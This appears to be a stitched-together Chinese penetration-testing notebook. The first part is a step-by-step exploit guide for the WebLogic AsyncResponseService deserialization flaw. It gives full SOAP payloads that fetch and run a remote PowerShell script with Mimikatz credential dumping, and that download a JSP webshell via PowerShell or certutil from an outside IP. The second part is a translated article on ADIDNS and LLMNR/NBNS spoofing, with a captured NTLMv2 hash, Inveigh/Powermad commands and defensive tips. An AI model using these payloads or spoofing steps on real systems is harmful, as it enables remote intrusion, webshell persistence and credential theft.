C:\Program Files\Java\jdk1.8.0_152\bin\java -jar c:\fmw_12.1.3.0.0_wls.jar(这里之所以要用Progra~1 来代替Program Files是因为有 空格 会识别错误) 3.等待一会会弹出安装程序: 4.配置完成后,找到startWebLogic.cmd双击启动weblodgic 5.访问http://127.0.0.1:7001/console验证 四、windows下的漏洞利用: 1.打开地址http://ip:port/_async/AsyncResponseSevice查看是否存在漏洞 2.反弹shell,可直接使用CobaltStrike生成一个payload.ps1 powershell脚本,将该脚本放到公网上,然后使用以下poc进行发送: POST /_async/AsyncResponseService HTTP/1.1 Host: ip:port Content-Length: 861 Accept-Encoding: gzip, deflate SOAPAction: Accept: */* User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: keep-alive content-type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>cmd</string> </void> <void index="1"> <string>/c</string> </void> <void index="2"> <string>powershell "IEX (New-Object Net.WebClient).DownloadString('http://ip:port/payload.ps1'); Invoke-Mimikatz -DumpCreds"</string> </void> </array> <void method="start"/></void> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope> 可以看到成功在cobalstrike上反弹出目标系统的shell 3.上传webshell (1).放置一个webshell.txt到公网主机上(这里是kali主机) 2.使用以下poc进行发送请求: poc1: POST /_async/AsyncResponseService HTTP/1.1 Host: ip:port Content-Length: 854 Accept-Encoding: gzip, deflate SOAPAction: Accept: */* User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: keep-alive content-type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>cmd</string> </void> <void index="1"> <string>/c</string> </void> <void index="2"> <string>powershell (new-object System.Net.WebClient).DownloadFile( 'http://ip:port/webshell.txt','servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp')</string> </void> </array> <void method="start"/></void> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope> poc2: POST /_async/AsyncResponseService HTTP/1.1 Host: 172.16.191.51:7001 Content-Length: 870 Accept-Encoding: gzip, deflate SOAPAction: Accept: */* User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: keep-alive content-type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>cmd</string> </void> <void index="1"> <string>/c</string> </void> <void index="2"> <string>certutil -urlcache -split -f http://149.248.17.172:81/jshell.txt servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp</string> </void> </array> <void method="start"/></void> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope> (3).访问webshell http://172.16.191.51:7001/bea_wls_internal/webshell.jsp 0x04 漏洞修复建议 目前,Oracle官方暂未发布补丁,临时解决方案如下: 1.删除该war包并重启webLogic; 2.通过访问策略控制禁止 /_async/* 路径的URL访问。 建议使用WebLogic Server构建网站的信息系统运营者进行自查,发现存在漏洞后,按照临时解决方案及时进行修复。 附录: 附录其他辅助工具: https://github.com/backlion/nse_vuln/blob/master/weblogic/CNVD-C-2019-4814/weblogic-CNVD-C-2019-48814.nse https://github.com/backlion/WebLogic_CNVD_C2019_48814 <wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">
  25. 利用名称解析协议中的缺陷进行内网渗透是执行中间人(MITM)攻击的常用技术。有两个特别容易受到攻击的名称解析协议分别是链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBNS)。攻击者可以利用这两种协议来响应无法通过更高优先级的解析方法(如DNS)应答的请求。Active Directory(AD)环境中默认启用了LLMNR和NBNS,这使得这种类型的欺骗攻击将会成为一种非常有效的方式,既可以获得对域的初始访问权限,也可以在漏洞后期利用过程中提升域权限。为了在内网渗透的场景中使用这种攻击技术,我开发了Inveigh这个工具,这是一个基于PowerShell的LLMNR/NBNS欺骗工具,可以在已经拿到权限的AD主机上运行。 PS C:\users\kevin\Desktop\Inveigh> Invoke-Inveigh -ConsoleOutput Y [*] Inveigh 1.4 Dev started at 2018-07-05T22:29:35 [+] Elevated Privilege Mode = Enabled [+] Primary IP Address = 192.168.125.100 [+] LLMNR/NBNS/mDNS/DNS Spoofer IP Address = 192.168.125.100 [+] LLMNR Spoofer = Enabled [+] NBNS Spoofer = Enabled [+] SMB Capture = Enabled [+] HTTP Capture = Enabled [+] HTTPS Capture = Disabled [+] HTTP/HTTPS Authentication = NTLM [+] WPAD Authentication = NTLM [+] WPAD Default Response = Enabled [+] Real Time Console Output = Enabled WARNING: [!] Run Stop-Inveigh to stop manually [*] Press any key to stop real time console output [+] [2018-07-05T22:29:53] LLMNR request for badrequest received from 192.168.125.102 [Response Sent] [+] [2018-07-05T22:29:53] SMB NTLMv2 challenge/response captured from 192.168.125.102(INVEIGH-WKS2): testuser1::INVEIGH:3E834C6F9FC3CA5B:CBD38F1537AAD7D39CE6A5BC5687373A:010100000000000071ADB439D114D401D5B48AB8C3EC8E010000000002000E0049004E00560045004900470048000100180049004E00560045004900470048002D0057004B00530031000400160069006E00760065006900670068002E006E00650074000300300049006E00760065006900670068002D0057004B00530031002E0069006E00760065006900670068002E006E00650074000500160069006E00760065006900670068002E006E00650074000700080071ADB438D114D401060004000200000008003000300000000000000000000000002000004FC481EC79C5F6BB2B29A2C828A02EC028C9FF563BE5D9597D51FD6DF29DC8BD0A0010000000000000000000000000000000000009001E0063006900660073002F006200610064007200650071007500650073007400000000000000000000000000 在我开发Inveigh的整个过程中,我在域环境中进行了很多实验,从不同级别的权限的角度出发,深入研究了LLMNR/NBNS欺骗攻击过程。Inveigh的许多更新实际上都是在试图实现其他一些基于特权的使用功能。 最近,在Inveigh之外的一些研究工作,让我的脑海里出现了一个棘手的问题。如果你已经拥有了对域的非特权访问权限,那么执行LLMNR/NBNS欺骗甚至是执行基于名称解析的MITM攻击会是一种最佳的攻击方式吗?为了获得这个问题的答案,我不断的在研究可疑的AD角色配置,这个角色配置给了我一些找到问题答案的启发,即Active Directory集成DNS(ADIDNS)。 名称解析顺序 鉴于撰写本文的目的,我将简要介绍关于LLMNR / NBNS欺骗的两个关键部分。首先,在没有实现某些基于路由器的流量路由的情况下,LLMNR和NBNS请求分别包含在单个多播或广播域中。这可以极大地限制被入侵的系统和受到潜在特权欺骗攻击的会话的影响范围。其次,在默认情况下,Windows系统在尝试解析通过基于网络协议的名称解析请求时会使用以下优先级列表: 1.DNS 2.LLMNR 3.NBNS 尽管DNS不直接作为整个攻击中的一部分而被利用,但由于它控制了哪些请求能够交给LLMNR或NBNS处理,所以,实际上DNS对LLMNR/NBNS欺骗的有效性具有很大的影响。基本上来说,如果名称请求与DNS中列出的记录相匹配,则客户端通常不会尝试通过LLMNR和NBNS来解析请求。 在执行攻击时,我们是否真的需要满足基于网络的名称解析协议的层次结构所对应的解析顺序?是否有一种可以直接利用DNS进行解析的简单方法?记住我们在域中仅具有非特权访问权限这个限制条件,让我们看看在这个限制条件下我们必须使用什么才可以完成攻击。 Active Directory集成的DNS区域 域控制器和ADIDNS区域总是一起出现。每个域控制器通常都有一个可访问的DNS服务器,至少托管了默认的ADIDNS区域。 我要强调的第一个默认设置是ADIDNS区域的自主访问控制列表(DACL)。 从上图中,你可以看到,该区域默认情况下列出了具有"Authenticated Users"(已验证用户),"Create all child objects"(创建所有子对象)。经过身份验证的用户对域名的操作门槛相当低,当然,这类用户可以操作的域名也包括了不需要特权可以访问的目标。但是,我们要清楚我们该如何利用这个特性以及我们可以用它做什么? 修改ADIDNS区域 远程修改ADIDNS区域主要有两种方法。第一种是使用基于RPC的管理工具。要运行这些工具通常需要DNS管理员或者更高的权限,因此我不打算描述这些工具的功能。第二种方法是DNS动态更新。动态更新是专门用于修改DNS区域的DNS特定协议。在AD世界中,动态更新主要由计算机帐户所使用,用于添加和更新自己的DNS记录。 这将我们带到了另一个我们所感兴趣的ADIDNS区域的默认设置,即安全动态更新的启用状态。 动态更新 去年,为了在漏洞后期利用期间更轻松地利用此默认设置,我开发了一个名为Invoke-DNSUpdate的PowerShell DNS动态更新工具。 PS C:\Users\kevin\Desktop\Powermad> Invoke-DNSupdate -DNSType A -DNSName test -DNSData 192.168.125.100 -Verbose VERBOSE: [+] TKEY name 648-ms-7.1-4675.57409638-8579-11e7-5813-000c296694e0 VERBOSE: [+] Kerberos preauthentication successful VERBOSE: [+] Kerberos TKEY query successful [+] DNS update successful 一旦了解了如何将权限应用于DNS记录,那么使用安全动态更新的规则就变得非常简单。如果区域中并不存在匹配的DNS记录名称,则经过身份验证的用户就可以创建相应的DNS记录。创建者帐户将获得DNS记录的所有权或完全控制权。 如果DNS区域中已存在匹配的记录名称,则将禁止经过身份验证的用户修改或删除记录,除非用户具有所需的权限,例如用户是管理员的情况。请注意,我正在使用DNS记录名称而不是DNS记录。在这方面,标准的DNS视图可能会令人困惑。实际上,权限是根据DNS记录名称而不是在DNS控制台中查看的单个DNS记录来应用的。 例如,如果管理员创建了名为"test"的记录,则非特权帐户无法创建第二条名为"test"的记录来作为DNS循环设置的一部分。这也适用于多种DNS记录类型。如果DNS区域的根区域存在默认的A记录,则非特权帐户无法为DNS区域创建根MX记录,因为两个记录在内部都被命名为"@"。在本文中,我们将从另一个角度查看DNS记录,这会提供更好的按名称分组的ADIDNS记录视图。 以下是默认的记录,可防止非特权帐户的操作影响到Kerberos和LDAP等AD服务。 对于可以通过非特权用户的动态更新所创建的记录类型,几乎没有任何限制。允许创建的类型仅限于Windows服务器动态更新实现所支持的类型。一般支持最常见的记录类型。Invoke-DNSUpdate目前支持A,AAAA,CNAME,MX,PTR,SRV和TXT记录。总的来说,如果可以识别出不存在的且值得添加的DNS记录,那么单独的安全动态更新肯定是可以被攻击者利用的。 使用动态更新补充LLMNR / NBNS欺骗 为了使安全动态更新武器化并能够像LLMNR / NBNS欺骗类似的方式运行,我研究了如何将记录注入到ADIDNS中来匹配并响应收到的LLMNR / NBNS请求。理论上讲,DNS中不应该存在能够降至LLMNR / NBNS的记录。因此,这些记录确实需要已经过身份验证的用户来创建。此方法不实用于在内网中不常见的或只有一次请求的名称。但是,如果你通过LLMNR / NBNS继续看到了相同的请求,则将该记录添加到DNS可能会有所帮助。 在即将推出的Inveigh版本中包含了这种技术的变体。如果Inveigh从多个系统检测到相同的LLMNR / NBNS请求,则可以将匹配记录添加到ADIDNS。当系统发送已经不在DNS中存在的旧主机的LLMNR / NBNS名称解析请求时,这种方法可能很有效。如果子网内的多个系统正在尝试解析一个特定的名称,那么外部的系统也有可能正在尝试解析相同的名称。在这种情况下,注入ADIDNS有助于将攻击扩展到子网边界。 PS C:\users\kevin\Desktop\Inveigh> Invoke-Inveigh -ConsoleOutput Y -DNS Y -DNSThreshold 4 [*] Inveigh 1.4 Dev started at 2018-07-05T22:32:37 [+] Elevated Privilege Mode = Enabled [+] Primary IP Address = 192.168.125.100 [+] LLMNR/NBNS/mDNS/DNS Spoofer IP Address = 192.168.125.100 [+] LLMNR Spoofer = Enabled [+] DNS Injection = Enabled [+] SMB Capture = Enabled [+] HTTP Capture = Enabled [+] HTTPS Capture = Disabled [+] HTTP/HTTPS Authentication = NTLM [+] WPAD Authentication = NTLM [+] WPAD Default Response = Enabled [+] Real Time Console Output = Enabled WARNING: [!] Run Stop-Inveigh to stop manually [*] Press any key to stop real time console output [+] [2018-07-05T22:32:52] LLMNR request for dnsinject received from 192.168.125.102 [Response Sent] [+] [2018-07-05T22:33:00] LLMNR request for dnsinject received from 192.168.125.100 [Response Sent] [+] [2018-07-05T22:35:00] LLMNR request for dnsinject received from 192.168.125.104 [Response Sent] [+] [2018-07-05T22:41:00] LLMNR request for dnsinject received from 192.168.125.105 [Response Sent] [+] [2018-07-05T22:50:00] LLMNR request for dnsinject received from 192.168.125.106 [Response Sent] WARNING: [!] [2018-07-05T22:33:01] DNS (A) record for dnsinject added 记住方式 在尝试寻找理想的安全动态更新攻击时,我在协议本身或已经存在的默认DNS记录这块遇到了困难。因为,如前面所述,我曾计划在Inveigh中实现动态更新攻击,于是我开始更多地思考如何在渗透测试中使用这种技术。为了帮助渗透测试人员确认这种攻击确实可以起作用,我意识到创建一个PowerShell函数会有所帮助,该函数可以通过非特权帐户的上下文查看ADIDNS区域的权限。但是,如果不使用只有管理员才有权限使用的工具,我能否可以远程枚举DACL呢?在我的大脑中没有参与ADIDNS研究的那一部分立即回答道:"DNS区域存储在AD中,只需通过LDAP查看DACL"。 LDAP … ……看来还有另外一种查看DNS区域的方式我没有用过。 我回想了我在当网络管理员的工作期间可能遇到的事情,我发现ADIDNS区域当前存储在DomainDNSZones或ForestDNSZones分区中。 LDAP为"经过身份验证的用户"提供了一种可以在不依赖动态更新的情况下修改ADIDNS区域的方法。通过创建dnsNode类的AD对象,可以直接通过LDAP将DNS记录添加到ADIDNS区域。 通过这种简单的理解,我现在有了一种执行我一直在追逐的DNS攻击的方法。 通配符记录 通配符记录允许DNS以一种与LLMNR / NBNS欺骗非常类似的方式运行。创建通配符记录后,DNS服务器将使用该记录来响应包含在区域中但未明确匹配到的记录的名称请求。 PS C:\Users\kevin\Desktop\Powermad> Resolve-DNSName NoDNSRecord Name Type TTL Section IPAddress ---- ---- --- ------- --------- NoDNSRecord.inveigh.net A 600 Answer 192.168.125.100 与LLMNR / NBNS不同,通配符记录还会解析与ADIDNS区域匹配到的完全限定名称的请求。 PS C:\Users\kevin\Desktop\Powermad> Resolve-DNSName NoDNSRecord2.inveigh.net Name Type TTL Section IPAddress ---- ---- --- ------- --------- NoDNSRecord2.inveigh.net A 600 Answer 192.168.125.100 我使用通配符记录进行注入的过程被动态更新本身的一些限制所阻止。对于动态更新,至少Windows系统在实现的时候似乎没有正确处理'*'字符。但是,LDAP却没有同样的问题。 PS C:\Users\kevin\Desktop\Powermad> New-ADIDNSNode -Node * -Verbose VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net VERBOSE: [+] Domain = inveigh.net VERBOSE: [+] ADIDNS Zone = inveigh.net VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net VERBOSE: [+] Data = 192.168.125.100 VERBOSE: [+] DNSRecord Array = 04-00-01-00-05-F0-00-00-BA-00-00-00-00-00-02-58-00-00-00-00-22-D8-37-00-C0-A8-7D-64 [+] ADIDNS node * added 名称 我们把研究的步伐后退一步,让我们看一下DNS节点是如何用于形成ADIDNS记录的。ADIDNS记录的主要结构存储在dnsRecord属性中。此属性定义了一些元素,比如记录类型,目标IP地址或主机名以及静态与动态分类之类的元素。 名称之外的所有关键记录的详细信息都存储在dnsRecord中。如果你有兴趣,可以在MS-DNSP中找到有关属性结构的更多信息。 我创建了一个名为New-DNSRecordArray的PowerShell函数,它可以为A,AAAA,CNAME,DNAME,MX,NS,PTR,SRV和TXT这些记录类型创建一个dnsRecord数组。 PS C:\Users\kevin\Desktop\Powermad> $dnsRecord = New-DNSRecordArray -Type A -Data 192.168.125.100 PS C:\Users\kevin\Desktop\Powermad> [System.Bitconverter]::ToString($dnsrecord) 04-00-01-00-05-F0-00-00-BA-00-00-00-00-00-02-58-00-00-00-00-79-D8-37-00-C0-A8-7D-64 正如我之前所提到的,LDAP可以更好地查看匹配到名称的DNS记录是如何组合在一起的。单个DNS节点可以在dnsRecord属性中包含多行。每行代表一个具有相同名称的单独的DNS记录。下面是名称为"@"的节点的dnsRecord属性中包含的多个记录的示例。 可以通过在结尾附加而不是覆盖现有属性值的方式将新的行添加到节点的dnsRecord属性中。我创建的用于编辑属性的PowerShell函数Set-ADIDNSNodeAttribute有一个'Append'开关可以用来执行此操作。 ADIDNS同步和复制 通过LDAP修改ADIDNS区域时,你可能会发现节点添加到LDAP与在DNS中出现该记录之间会有延迟。这是因为DNS服务器的服务正在使用它自己的ADIDNS区域的内存副本。默认情况下,DNS服务器每隔180秒会把内存中的副本与AD进行同步。 在大型的多站点的AD基础架构中,域控制器复制时间可能是发起ADIDNS欺骗攻击的一个因素和时机。在企业内网中,为了充分扩大并利用我们添加的记录所影响的范围,攻击时间需要延长复制延迟的时间。默认情况下,站点之间的复制最多可能需要三个小时。要减少延迟,可以通过定位一台攻击效果最大的DNS服务器来启动攻击。尽管在内网环境中向每个DNS服务器添加记录并在复制之前跳转可以起作用,但请记住,一旦复制完成,AD将需要对重复对象进行排序。 SOA序列号 使用ADIDNS区域有另外一个需要考虑的因素是网络上可能存在其他集成的DNS服务器。如果服务器托管了从属的DNS区域,则序列号会用于确定是否发生了更改。幸运的是,通过LDAP添加DNS节点时,序列号会递增。递增的序列号需要包含在节点的dnsRecord数组中,确保可以将记录复制到托管从属区域的服务器。区域的SOA序列号是所有节点的dnsRecord属性中列出的数字最高的一个序列号。在这里需要注意的是SOA序列号只递增1,防止区域的序列号出现不必要地大量递增。我创建了一个名为New-SOASerialNumberArray的PowerShell函数,简化了这个过程。 PS C:\Users\kevin\Desktop\Powermad> New-SOASerialNumberArray 62 0 0 0 SOA序列号也可以通过nslookup获得。 PS C:\Users\kevin\Desktop\Powermad> nslookup Default Server: UnKnown Address: 192.168.125.10 > set type=soa > inveigh.net Server: UnKnown Address: 192.168.125.10 inveigh.net primary name server = inveigh-dc1.inveigh.net responsible mail addr = hostmaster.inveigh.net serial = 255 refresh = 900 (15 mins) retry = 600 (10 mins) expire = 86400 (1 day) default TTL = 3600 (1 hour) inveigh-dc1.inveigh.net internet address = 192.168.125.10 收集的序列号可以直接提供给New-SOASerialNumberArray使用。在这种情况下,New-SOASerialNumberArray将跳过连接到DNS服务器的过程,并直接使用你指定的序列号。 维持节点控制 一旦使用经过身份验证的用户创建了节点,创建者帐户将拥有该节点的所有权或完全控制权。"Authenticated Users"主体本身不会在节点的DACL中列出。因此,失去对创建者帐户的访问权限可能会导致你无法删除已添加的记录。为了避免这种情况,可以在创建节点时将dNSTombstoned属性设置为"True"。 PS C:\Users\kevin\Desktop\Powermad> New-ADIDNSNode -Node * -Tombstone -Verbose VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net VERBOSE: [+] Domain = inveigh.net VERBOSE: [+] ADIDNS Zone = inveigh.net VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net VERBOSE: [+] Data = 192.168.125.100 VERBOSE: [+] DNSRecord Array = 04-00-01-00-05-F0-00-00-BC-00-00-00-00-00-02-58-00-00-00-00-22-D8-37-00-C0-A8-7D-64 [+] ADIDNS node * added 这使得节点处于一种任何一个经过身份验证的用户都可以执行节点修改的状态。 或者,可以修改节点的DACL来授予对其他用户或组的访问权限。 PS C:\Users\kevin\Desktop\Powermad> Grant-ADIDNSPermission -Node * -Principal "Authenticated Users" -Access GenericAll -Verbose VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net VERBOSE: [+] Domain = inveigh.net VERBOSE: [+] ADIDNS Zone = inveigh.net VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net [+] ACE added for Authenticated Users to * DACL 拥有创建者帐户的所有权和节点上列出的完全控制权限可以使网络管理员在发现你添加的记录时变得非常容易。虽然可以更改节点的所有权,但是这需要你拥有SeRestorePrivilege的令牌。 节点逻辑删除 记录的清除并不像从LDAP中删除节点那么简单。如果这样做的话,记录仍然保留在DNS服务器内存中的区域副本中,直到重新启动服务或手动重新加载ADIDNS区域。此外,180秒的AD同步并不会从DNS中删除记录。 通常在ADIDNS区域中删除记录时,同时也将从内存中的DNS区域副本中删除该记录,并且该节点对象仍保留在AD中。要完成清除工作,节点的dNSTombstoned属性需要设置为"True",并使用包含墓碑化时间戳的零类型来填充更新的dnsRecord属性。 删除记录不一定需要你自己生成有效的零类型数组。如果dnsRecord属性填充了无效值(例如只有0x00),则在下一次AD 和 DNS同步期间,该值将自动切换为零类型数组。 为了简化清理工作,我创建了一个名为Disable-ADIDNSNode的PowerShell函数,它会更新dNSTombstoned和dnsRecord属性。 PS C:\Users\kevin\Desktop\Powermad> Disable-ADIDNSNode -Node * -Verbose VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net VERBOSE: [+] Domain = inveigh.net VERBOSE: [+] ADIDNS Zone = inveigh.net VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net [+] ADIDNS node * tombstoned 对于在有多个记录的DNS节点中作为单个dnsRecord属性行存在的记录,清理过程略有不同。只需删除相关的dnsRecord属性行并等待同步或复制。Set-DNSNodeAttribute可用于完成此清理操作。 如果你决定通过LDAP或动态更新处理现有的记录,则需要注意有关墓碑节点的事项。正常记录的删除过程也会将dNSTombstoned属性设置为"True"。处于此状态的记录被认为是老的记录,如果设置为"True",则可以进行清理。如果未启用清理,这些记录可能会在DNS中驻留一段时间。在没有启用清理功能的测试实验室中,我经常会看到最初由计算机帐户注册的过时记录。使用过时记录时应多加小心。虽然它们肯定是攻击的潜在目标,但它们也可能会因为错误地操作而被覆盖或删除。 节点删除 完全删除DNS和AD中的DNS记录可以更好地抹除你的渗透痕迹。抹除记录需要首先进行节点墓碑化。当AD 和DNS同步以后,要删除内存中的记录,可以通过LDAP删除节点。然而复制使得清理工作变得很棘手。不过只需在单个域控制器上快速执行这两个步骤,就会将节点删除任务复制到其他域控制器上。在这种情况下,记录将保留在除一个域控制器之外的所有内存区域的副本中。在渗透测试期间,可以使用常用的从ADIDNS删除记录的方式清理墓碑节点。 防御ADIDNS攻击 不幸的是,目前还没有已知的针对ADIDNS攻击的防御措施。 好吧,实际上,有几个很容易部署的防御方案,其中一个是使用静态通配符记录。要防御潜在的ADIDNS欺骗攻击,最简单的方法是保持对关键的DNS记录的控制。例如,以管理员身份创建静态通配符记录可以阻止非特权帐户创建自己的通配符记录。 PS C:\Users\kevin\Desktop\Powermad> New-ADIDNSNode -Node * -Tombstone -Verbose VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net VERBOSE: [+] Domain = inveigh.net VERBOSE: [+] ADIDNS Zone = inveigh.net VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net VERBOSE: [+] Data = 192.168.125.100 VERBOSE: [+] DNSRecord Array = 04-00-01-00-05-F0-00-00-BD-00-00-00-00-00-02-58-00-00-00-00-20-D8-37-00-C0-A8-7D-64 [-] Exception calling "SendRequest" with "1" argument(s): "The object exists." 记录可以指向你选择的黑洞方法,例如0.0.0.0。 由管理员所控制的通配符记录的另外一个好处是该记录还能防御LLMNR / NBNS欺骗攻击。通配符将通过DNS响应区域内的所有名称请求,并防止名称请求下降到LLMNR / NBNS而被解析。我强烈建议管理员控制的通配符记录作为LLMNR / NBNS欺骗的一般防御手段。 你还可以修改ADIDNS区域的DACL,更进一步提高防御能力。具体的设置需要根据特定的环境来操作。幸运的是,在实际情况中,要求允许"已经过身份验证的用户"创建记录的可能性非常低。因此,当然存在DACL强化的空间。请记住,将记录创建限制为仅限管理员和计算机帐户可能仍会提供很多攻击时机,并且攻击者无需保持对关键记录的控制。 最终获胜者 与LLMNR / NBNS欺骗相比,ADIDNS欺骗的主要优点是攻击范围比较大,主要的缺点是需要访问AD所需的权限。让我们面对现实吧,我们不一定需要一个更好的LLMNR / NBNS欺骗方法。回顾过去,早在LLMNR欺骗攻击出现之前,NBNS欺骗就已经是一个严重的安全问题了。LLMNR和NBNS欺骗攻击一直都是有效的。我研究ADIDNS欺骗攻击已经有一段时间了,所以我的一般建议是,从LLMNR / NBNS欺骗开始,并根据需要引入ADIDNS欺骗。LLMNR / NBNS和ADIDNS技术实际上是相互补充的。 为帮助你做出自己的决定,下面的表格包含了一些ADIDNS,LLMNR和NBNS欺骗攻击的一般特征: 免责声明:除了能够具有超过标准的LLMNR/NBNS欺骗攻击能力之外,ADIDNS区域仍有许多领域需要探索。 相关工具! 我发布了一个新版的Powermad,它包含了几个用于处理ADIDNS的功能,包括本文中描述的一些功能: https://github.com/Kevin-Robertson/Powermad 我将按步骤说明完善Powermad 的 wiki: https://github.com/Kevin-Robertson/Powermad/wiki 此外,如果你想参与到代码的开发中来,你可以在dev分支中找到一个实现了ADIDNS欺骗攻击的Inveigh 1.4版本: https://github.com/Kevin-Robertson/Inveigh/tree/dev